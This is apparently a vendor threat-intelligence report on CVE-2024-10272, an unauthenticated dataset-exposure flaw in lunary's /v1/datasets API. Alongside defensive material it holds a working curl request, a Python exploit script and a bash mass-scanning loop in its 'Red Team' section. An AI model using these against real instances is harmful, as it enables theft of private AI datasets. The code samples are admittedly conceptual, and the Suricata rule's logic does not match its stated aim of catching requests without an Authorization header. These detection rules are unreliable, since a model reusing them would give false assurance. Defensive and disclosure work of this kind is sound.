CVE-2024-10272

Executive Summary

CVE-2024-10272 is a critical broken access control vulnerability in lunary-ai/lunary, a platform for AI observability and dataset management. The vulnerability allows any unauthenticated attacker to enumerate and view the content of all datasets by sending a simple GET request to the /v1/datasets endpoint. The CVSS v3.1 base score is 7.5 (High), driven by the network attack vector, low attack complexity, no privileges required, and no user interaction needed. The impact is limited to confidentiality (High), with no impact on integrity or availability. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the simplicity of the exploit makes it a high-priority target for automated scanning. No official patch or advisory has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary application, which is distributed as a container image and potentially as an npm package for client-side integrations. The core server component is written in TypeScript/Node.js. Organizations using lunary for AI dataset management should immediately assess their exposure. The lack of authentication on a REST API endpoint represents a fundamental design flaw that could lead to data leakage of sensitive training data, prompts, or evaluation datasets.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; a simple GET request suffices.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – All dataset content is exposed.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and exposes potentially sensitive AI training data. While EPSS is low, the public disclosure and simplicity will drive automated exploitation.

Deep Dive & Mechanics

The vulnerability resides in the API routing layer of the lunary application. The /v1/datasets endpoint is intended to be used by authenticated users to list and retrieve datasets. However, the application fails to enforce any authorization check on this endpoint. The server-side code likely uses a middleware or decorator pattern for authentication, but the /v1/datasets route is either excluded from the authentication middleware or the middleware is misconfigured.

When an attacker sends a GET request to /v1/datasets without any Authorization header, the server processes the request and returns a JSON response containing all dataset metadata and content. This includes dataset names, descriptions, and the actual data entries (e.g., prompts, completions, evaluation results). The vulnerability is a classic case of Missing Authorization (CWE-862).

The root cause is likely in the route definition, e.g., in an Express.js or Fastify application:

// Vulnerable: No auth middleware applied
app.get('/v1/datasets', async (req, res) => {
  const datasets = await Dataset.find({});
  res.json(datasets);
});

The fix would require adding an authentication check:

// Patched: Auth middleware applied
app.get('/v1/datasets', authenticate, async (req, res) => {
  const datasets = await Dataset.find({ owner: req.user.id });
  res.json(datasets);
});

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// routes/datasets.js
const express = require('express');
const router = express.Router();
const Dataset = require('../models/Dataset');

// Missing authentication middleware
router.get('/', async (req, res) => {
  try {
    const datasets = await Dataset.find({});
    res.json(datasets);
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

module.exports = router;

Patched Code (Conceptual):

// routes/datasets.js
const express = require('express');
const router = express.Router();
const Dataset = require('../models/Dataset');
const { authenticate } = require('../middleware/auth');

// Authentication middleware applied
router.get('/', authenticate, async (req, res) => {
  try {
    // Optionally filter by user ownership
    const datasets = await Dataset.find({ owner: req.user.id });
    res.json(datasets);
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

module.exports = router;

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target lunary instance (e.g., https://lunary.example.com)
• No authentication token required

Exploitation Steps:

1. Identify the target lunary instance.
2. Send a GET request to the /v1/datasets endpoint:

   curl -X GET https://lunary.example.com/v1/datasets
   

3. If the instance is vulnerable, the response will contain a JSON array of all datasets with their full content.

Automated Exploitation (Python):

import requests
import sys

def exploit(target):
    url = f"{target.rstrip('/')}/v1/datasets"
    try:
        r = requests.get(url, timeout=10)
        if r.status_code == 200:
            print("[+] Vulnerable! Datasets exposed:")
            print(r.text)
        else:
            print(f"[-] Status code: {r.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

Mass Scanning (Bash):

for target in $(cat targets.txt); do
  curl -s -o /dev/null -w "%{http_code}" "$target/v1/datasets" && echo " $target"
done

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for GET requests to /v1/datasets without a valid Authorization header.
2. Alert on any successful response (HTTP 200) from this endpoint without prior authentication.
3. Review access logs for anomalous IPs accessing the endpoint.

Honeypot Setup: Deploy a fake lunary instance that logs all requests to /v1/datasets and alerts on any access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /v1/datasets without Authorization header.
  • Response body containing JSON array of dataset objects.
• File IOCs:
  • Log entries showing GET /v1/datasets from unknown IPs.
• Behavioral IOCs:
  • Unauthenticated access to API endpoints that should require authentication.

Detection Engineering

YARA Rule

rule CVE_2024_10272_Lunary_DataLeak {
    meta:
        description = "Detects HTTP responses containing exposed datasets from lunary-ai/lunary"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10272"
        hash = "unknown"
    strings:
        $json_start = /\[[\s\n]*\{/
        $dataset_key = /"dataset"/ nocase
        $data_key = /"data"/ nocase
        $prompt_key = /"prompt"/ nocase
        $completion_key = /"completion"/ nocase
    condition:
        all of ($json_start, $dataset_key, $data_key) or
        all of ($json_start, $prompt_key, $completion_key)
}

Sigma Rule

title: CVE-2024-10272 - Unauthenticated Access to Lunary Datasets
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects GET requests to /v1/datasets without Authorization header
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10272
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: GET
        cs-uri-stem: /v1/datasets
    filter:
        cs-headers: "Authorization:*"
    condition: selection and not filter
falsepositives:
    - Legitimate unauthenticated access if misconfigured
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-10272 - Unauthenticated Access to Lunary Datasets";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/v1/datasets";
    http_uri;
    pcre:"/^Authorization\s*:/i";
    pcre:"!/^Authorization\s*:\s*Bearer\s+/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the lunary instance from the internet if possible.
2. Implement a reverse proxy (e.g., Nginx) to require authentication for /v1/datasets:

   location /v1/datasets {
       auth_basic "Restricted";
       auth_basic_user_file /etc/nginx/.htpasswd;
       proxy_pass http://lunary_backend;
   }
   

3. Apply network-level access controls (firewall rules) to restrict access to the lunary API.

Long-term Fix:

• The vendor must implement proper authentication middleware on all API endpoints.
• Until a patch is released, consider forking the repository and adding the fix yourself.

Workaround:

• Disable the /v1/datasets endpoint entirely by modifying the application code or using a reverse proxy to return 403 for all requests to that path.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.